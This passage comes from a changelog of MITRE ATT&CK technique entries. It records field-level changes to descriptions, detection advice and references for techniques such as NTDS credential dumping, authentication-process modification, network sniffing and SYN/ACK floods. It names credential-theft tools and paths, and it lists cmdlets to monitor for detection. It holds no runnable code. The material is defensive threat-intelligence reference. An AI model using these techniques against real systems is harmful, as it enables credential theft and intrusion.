| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-13 22:47:08.289000+00:00 | 2022-04-16 20:03:39.460000+00:00 |
| external_references[1]['source_name'] | Microsoft Zone.Identifier 2020 | Beek Use of VHD Dec 2020 |
| external_references[1]['description'] | Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021. | Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8 | https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316 |
| external_references[2]['source_name'] | Beek Use of VHD Dec 2020 | Outflank MotW 2020 |
| external_references[2]['description'] | Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021. | Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s perspective. Retrieved February 22, 2021. |
| external_references[2]['url'] | https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316 | https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/ |
| external_references[3]['source_name'] | Outflank MotW 2020 | Intezer Russian APT Dec 2020 |
| external_references[3]['description'] | Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s perspective. Retrieved February 22, 2021. | Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021. |
| external_references[3]['url'] | https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/ | https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/ |
| external_references[4]['source_name'] | Intezer Russian APT Dec 2020 | Microsoft Zone.Identifier 2020 |
| external_references[4]['description'] | Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021. | Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021. |
| external_references[4]['url'] | https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/ | https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8 |
| x_mitre_data_sources[0] | File: File Creation | File: File Metadata |
| x_mitre_data_sources[1] | File: File Metadata | File: File Creation |
| x_mitre_detection | Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. | Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO) |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Disable automount for ISO', 'description': 'wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022.', 'url': 'https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7'} |
[T1556] Modify Authentication Process
Current version: 2.1
Version changed from: 2.0 → 2.1
New Mitigations:
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 14:48:33.990000+00:00 | 2022-02-10 22:26:33.374000+00:00 |
| x_mitre_data_sources[0] | Logon Session: Logon Session Creation | Process: OS API Execution |
| x_mitre_data_sources[1] | Process: OS API Execution | Process: Process Access |
| x_mitre_data_sources[2] | Process: Process Access | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[4] | File: File Creation | Logon Session: Logon Session Creation |
| x_mitre_data_sources[6] | Windows Registry: Windows Registry Key Modification | File: File Creation |
| x_mitre_detection | Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference.
Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)
Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). | Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference.
Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)
Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
Monitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)
|
| x_mitre_version | 2.0 | 2.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'dump_pwd_dcsync', 'description': 'Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.', 'url': 'https://adsecurity.org/?p=2053'} |
[T1003.003] OS Credential Dumping: NTDS
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may attempt to access or create a copy of the Ac | t | Adversaries may attempt to access or create a copy of the Ac |
| tive Directory domain database in order to steal credential | | tive Directory domain database in order to steal credential |
| information, as well as obtain other information about domai | | information, as well as obtain other information about domai |
| n members such as devices, users, and access rights. By defa | | n members such as devices, users, and access rights. By defa |
| ult, the NTDS file (NTDS.dit) is located in <code>%SystemRoo | | ult, the NTDS file (NTDS.dit) is located in <code>%SystemRoo |
| t%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wi | | t%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wi |
| kipedia Active Directory) In addition to looking for NTDS f | | kipedia Active Directory) In addition to looking for NTDS f |
| iles on active Domain Controllers, attackers may search for | | iles on active Domain Controllers, adversaries may search fo |
| backups that contain the same or similar information.(Citati | | r backups that contain the same or similar information.(Cita |
| on: Metcalf 2015) The following tools and techniques can be | | tion: Metcalf 2015) The following tools and techniques can |
| used to enumerate the NTDS file and the contents of the ent | | be used to enumerate the NTDS file and the contents of the e |
| ire Active Directory hashes. * Volume Shadow Copy * secrets | | ntire Active Directory hashes. * Volume Shadow Copy * secre |
| dump.py * Using the in-built Windows tool, ntdsutil.exe * In | | tsdump.py * Using the in-built Windows tool, ntdsutil.exe * |
| voke-NinjaCopy | | Invoke-NinjaCopy |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-12-14 23:08:02.782000+00:00 | 2022-03-08 21:00:52.774000+00:00 |
| description | Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)
In addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
* Volume Shadow Copy
* secretsdump.py
* Using the in-built Windows tool, ntdsutil.exe
* Invoke-NinjaCopy
| Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)
In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
* Volume Shadow Copy
* secretsdump.py
* Using the in-built Windows tool, ntdsutil.exe
* Invoke-NinjaCopy
|
| x_mitre_data_sources[0] | File: File Access | Command: Command Execution |
| x_mitre_data_sources[1] | Command: Command Execution | File: File Access |
| x_mitre_version | 1.0 | 1.1 |
[T1599] Network Boundary Bridging
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may bridge network boundaries by compromising pe | t | Adversaries may bridge network boundaries by compromising pe |
| rimeter network devices. Breaching these devices may enable | | rimeter network devices or internal devices responsible for |
| an adversary to bypass restrictions on traffic routing that | | network segmentation. Breaching these devices may enable an |
| otherwise separate trusted and untrusted networks. Devices | | adversary to bypass restrictions on traffic routing that oth |
| such as routers and firewalls can be used to create boundari | | erwise separate trusted and untrusted networks. Devices suc |
| es between trusted and untrusted networks. They achieve thi | | h as routers and firewalls can be used to create boundaries |
| s by restricting traffic types to enforce organizational pol | | between trusted and untrusted networks. They achieve this b |
| icy in an attempt to reduce the risk inherent in such connec | | y restricting traffic types to enforce organizational policy |
| tions. Restriction of traffic can be achieved by prohibitin | | in an attempt to reduce the risk inherent in such connectio |
| g IP addresses, layer 4 protocol ports, or through deep pack | | ns. Restriction of traffic can be achieved by prohibiting I |
| et inspection to identify applications. To participate with | | P addresses, layer 4 protocol ports, or through deep packet |
| the rest of the network, these devices can be directly addr | | inspection to identify applications. To participate with th |
| essable or transparent, but their mode of operation has no b | | e rest of the network, these devices can be directly address |
| earing on how the adversary can bypass them when compromised | | able or transparent, but their mode of operation has no bear |
| . When an adversary takes control of such a boundary device | | ing on how the adversary can bypass them when compromised. |
| , they can bypass its policy enforcement to pass normally pr | | When an adversary takes control of such a boundary device, t |
| ohibited traffic across the trust boundary between the two s | | hey can bypass its policy enforcement to pass normally prohi |
| eparated networks without hinderance. By achieving sufficie | | bited traffic across the trust boundary between the two sepa |
| nt rights on the device, an adversary can reconfigure the de | | rated networks without hinderance. By achieving sufficient |
| vice to allow the traffic they want, allowing them to then f | | rights on the device, an adversary can reconfigure the devic |
| urther achieve goals such as command and control via [Multi- | | e to allow the traffic they want, allowing them to then furt |
| hop Proxy](https://attack.mitre.org/techniques/T1090/003) or | | her achieve goals such as command and control via [Multi-hop |
| exfiltration of data via [Traffic Duplication](https://atta | | Proxy](https://attack.mitre.org/techniques/T1090/003) or ex |
| ck.mitre.org/techniques/T1020/001). In the cases where a bo | | filtration of data via [Traffic Duplication](https://attack. |
| rder device separates two separate organizations, the advers | | mitre.org/techniques/T1020/001). Adversaries may also target |
| ary can also facilitate lateral movement into new victim env | | internal devices responsible for network segmentation and a |
| ironments. | | buse these in conjunction with [Internal Proxy](https://atta |
| | | ck.mitre.org/techniques/T1090/001) to achieve the same goals |
| | | .(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases w |
| | | here a border device separates two separate organizations, t |
| | | he adversary can also facilitate lateral movement into new v |
| | | ictim environments. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-21 01:45:59.246000+00:00 | 2022-04-19 21:44:17.057000+00:00 |
| description | Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.
Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.
When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments. | Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.
Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.
When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments. |
| x_mitre_data_sources[0] | Network Traffic: Network Traffic Flow | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Content | Network Traffic: Network Traffic Flow |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Kaspersky ThreatNeedle Feb 2021', 'description': 'Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.', 'url': 'https://securelist.com/lazarus-threatneedle/100803/'} |
[T1040] Network Sniffing
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may sniff network traffic to capture information | t | Adversaries may sniff network traffic to capture information |
| about an environment, including authentication material pas | | about an environment, including authentication material pas |
| sed over the network. Network sniffing refers to using the n | | sed over the network. Network sniffing refers to using the n |
| etwork interface on a system to monitor or capture informati | | etwork interface on a system to monitor or capture informati |
| on sent over a wired or wireless connection. An adversary ma | | on sent over a wired or wireless connection. An adversary ma |
| y place a network interface into promiscuous mode to passive | | y place a network interface into promiscuous mode to passive |
| ly access data in transit over the network, or use span port | | ly access data in transit over the network, or use span port |
| s to capture a larger amount of data. Data captured via thi | | s to capture a larger amount of data. Data captured via thi |
| s technique may include user credentials, especially those s | | s technique may include user credentials, especially those s |
| ent over an insecure, unencrypted protocol. Techniques for n | | ent over an insecure, unencrypted protocol. Techniques for n |
| ame service resolution poisoning, such as [LLMNR/NBT-NS Pois | | ame service resolution poisoning, such as [LLMNR/NBT-NS Pois |
| oning and SMB Relay](https://attack.mitre.org/techniques/T15 | | oning and SMB Relay](https://attack.mitre.org/techniques/T15 |
| 57/001), can also be used to capture credentials to websites | | 57/001), can also be used to capture credentials to websites |
| , proxies, and internal systems by redirecting traffic to an | | , proxies, and internal systems by redirecting traffic to an |
| adversary. Network sniffing may also reveal configuration | | adversary. Network sniffing may also reveal configuration |
| details, such as running services, version numbers, and othe | | details, such as running services, version numbers, and othe |
| r network characteristics (e.g. IP addresses, hostnames, VLA | | r network characteristics (e.g. IP addresses, hostnames, VLA |
| N IDs) necessary for subsequent Lateral Movement and/or Defe | | N IDs) necessary for subsequent Lateral Movement and/or Defe |
| nse Evasion activities. | | nse Evasion activities. In cloud-based environments, advers |
| | | aries may still be able to use traffic mirroring services to |
| | | sniff network traffic from virtual machines. For example, A |
| | | WS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap a |
| | | llow users to define specified instances to collect traffic |
| | | from and specified targets to send collected traffic to.(Cit |
| | | ation: AWS Traffic Mirroring) (Citation: GCP Packet Mirrorin |
| | | g) (Citation: Azure Virtual Network TAP) Often, much of this |
| | | traffic will be in cleartext due to the use of TLS terminat |
| | | ion at the load balancer level to reduce the strain of encry |
| | | pting and decrypting traffic.(Citation: Rhino Security Labs |
| | | AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic |
| | | Mirroring) The adversary can then use exfiltration techniqu |
| | | es such as Transfer Data to Cloud Account in order to access |
| | | the sniffed traffic. (Citation: Rhino Security Labs AWS VPC |
| | | Traffic Mirroring) |
New Mitigations:
- M1018: User Account Management
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Oleg Kolesnikov, Securonix', 'Tiago Faria, 3CORESec'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM'] | |
| external_references | CAPEC-158 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-02 17:51:59.236000+00:00 | 2022-04-19 15:22:53.877000+00:00 |
| description | Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities. | Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.
In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring) |
| external_references[1]['source_name'] | capec | AWS Traffic Mirroring |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/158.html | https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html |
| x_mitre_data_sources[0] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[1] | Command: Command Execution | Process: Process Creation |
| x_mitre_detection | Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. | Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.
In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'GCP Packet Mirroring', 'description': 'Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.', 'url': 'https://cloud.google.com/vpc/docs/packet-mirroring '} |
| external_references | | {'source_name': 'SpecterOps AWS Traffic Mirroring', 'description': 'Luke Paine. (2020, March 11). Through the Looking Glass — Part 1. Retrieved March 17, 2022.', 'url': ' https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512 '} |
| external_references | | {'source_name': 'Azure Virtual Network TAP', 'description': 'Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.', 'url': 'https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview'} |
| external_references | | {'source_name': 'Rhino Security Labs AWS VPC Traffic Mirroring', 'description': 'Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.', 'url': 'https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/ '} |
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/158.html', 'external_id': 'CAPEC-158'} |
| x_mitre_platforms | | IaaS |
[T1499.001] Endpoint Denial of Service: OS Exhaustion Flood
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may target the operating system (OS) for a DoS a | t | Adversaries may launch a denial of service (DoS) attack targ |
| ttack, since the (OS) is responsible for managing the finite | | eting an endpoint's operating system (OS). A system's OS is |
| resources on a system. These attacks do not need to exhaust | | responsible for managing the finite resources as well as pre |
| the actual resources on a system since they can simply exha | | venting the entire system from being overwhelmed by excessiv |
| ust the limits that an OS self-imposes to prevent the entire | | e demands on its capacity. These attacks do not need to exha |
| system from being overwhelmed by excessive demands on its c | | ust the actual resources on a system; the attacks may simply |
| apacity. Different ways to achieve this exist, including TC | | exhaust the limits and available resources that an OS self- |
| P state-exhaustion attacks such as SYN floods and ACK floods | | imposes. Different ways to achieve this exist, including TC |
| .(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, | | P state-exhaustion attacks such as SYN floods and ACK floods |
| excessive amounts of SYN packets are sent, but the 3-way TC | | .(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, |
| P handshake is never completed. Because each OS has a maximu | | excessive amounts of SYN packets are sent, but the 3-way TC |
| m number of concurrent TCP connections that it will allow, t | | P handshake is never completed. Because each OS has a maximu |
| his can quickly exhaust the ability of the system to receive | | m number of concurrent TCP connections that it will allow, t |
| new requests for TCP connections, thus preventing access to | | his can quickly exhaust the ability of the system to receive |
| any TCP service provided by the server.(Citation: Cloudflar | | new requests for TCP connections, thus preventing access to |
| e SynFlood) ACK floods leverage the stateful nature of the | | any TCP service provided by the server.(Citation: Cloudflar |
| TCP protocol. A flood of ACK packets are sent to the target. | | e SynFlood) ACK floods leverage the stateful nature of the |
| This forces the OS to search its state table for a related | | TCP protocol. A flood of ACK packets are sent to the target. |
| TCP connection that has already been established. Because th | | This forces the OS to search its state table for a related |
| e ACK packets are for connections that do not exist, the OS | | TCP connection that has already been established. Because th |
| will have to search the entire state table to confirm that n | | e ACK packets are for connections that do not exist, the OS |
| o match exists. When it is necessary to do this for a large | | will have to search the entire state table to confirm that n |
| flood of packets, the computational requirements can cause t | | o match exists. When it is necessary to do this for a large |
| he server to become sluggish and/or unresponsive, due to the | | flood of packets, the computational requirements can cause t |
| work it must do to eliminate the rogue ACK packets. This gr | | he server to become sluggish and/or unresponsive, due to the |
| eatly reduces the resources available for providing the targ | | work it must do to eliminate the rogue ACK packets. This gr |
| eted service.(Citation: Corero SYN-ACKflood) | | eatly reduces the resources available for providing the targ |
| | | eted service.(Citation: Corero SYN-ACKflood) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. |
| external_references | | Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019. |
| external_references | | CAPEC-469 |
| external_references | | CAPEC-482 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-469 | |
| external_references | CAPEC-482 | |
| external_references | Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019. | |
| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-16 15:54:35.429000+00:00 | 2022-04-19 23:12:31.329000+00:00 |
| description | Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity.
Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)
ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood) | Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.
Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)
